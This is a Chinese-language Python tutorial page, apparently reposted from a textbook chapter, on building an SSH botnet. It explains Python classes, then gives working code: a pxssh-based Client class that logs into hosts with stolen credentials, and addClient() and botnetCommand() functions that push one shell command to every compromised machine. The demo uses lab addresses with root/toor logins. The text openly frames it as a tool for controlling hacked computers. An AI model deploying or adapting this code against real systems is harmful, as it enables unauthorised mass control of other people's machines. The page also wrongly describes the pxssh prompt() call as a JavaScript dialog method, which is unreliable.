程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

【Python腳本進階】2.2、組建一個SSH僵屍網絡(終)

編輯:Python

目錄

一、簡介

1.1、概述:

二、實現

2.1、函數:

2.2、連接:

2.3、組建僵屍網絡


一、簡介

1.1、概述:

能通過SSH控制主機, 接下來就要同時控制多台主機

攻擊者在達成惡意目的時, 通常會使用被黑掉的計算機群。我們稱之為僵屍網絡, 因為被黑掉的電腦會像僵屍一樣執行指令。為構建僵屍網絡, 我們必須引入一個新的概念一類。類的概念是面向編程對象和編程模型的基礎。在這一編程模型中, 我們會把各個對象和它們所關聯的方法一起實例化。在僵屍網絡中, 每個單獨的僵屍或client(客戶端)都需要有能連上某台肉機,並把命令發送給肉機的能力



二、實現

2.1、函數:

__init__ :是初始化initialization的縮寫,在使用類創建對象之後被執行,用於給新創建的對象初始化屬性用,如初始化屬性的語句就是 self.name=name


prompt是 javascript語言中的一個方法,主要用處是顯示提示對話框

2.2、連接:

實現每個單獨的僵屍或client(客戶端)都需要有能連上某台肉機,並把命令發送給肉機的能力

import optparse
import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception as e:
print(e)
print('[-] Error Connecting')
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before

2.3、組建僵屍網絡

生成Client()類對象的代碼。為了構造client 對象, 需要主機名、用戶名,以及密碼或密鑰。同時, 這個類還要包含維持與肉機連接所需的方法 connect() 、send_ command()和alive()。當引用屬於類中的變量時, 是以self 後接變量名的方式表示它的。

為了構建僵屍網絡, 要建立一個名為botNet 的全局數組,其中記錄了單個client 對象。編寫一個名為addClient()的方法,它的輸入是主機名、用戶和密碼,並以此實例化一個client 對象, 並把它添加到botNet 數組裡。接下來的botnetComrnand()函數只要一個參數要發布的命令。這個函數遍歷整個數組, 把命令發送到botNet 數組中的每個client 上

import optparse
import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception as e:
print(e)
print('[-] Error Connecting')
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output= client.send_command(command)
print('[*] Output from ' + client.host)
print('[+] ' + output + '\n')
def addClient(host, user, password):
client = Client( host, user, password )
botNet.append(client)
botNet = []
addClient('10.10.10.110', 'root', 'toor')
addClient('10.10.10.120', 'root', 'toor')
addClient('10.10.10.130', 'root', 'toor')
botnetCommand('uname -v')
botnetCommand('cat /etc/issue')

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved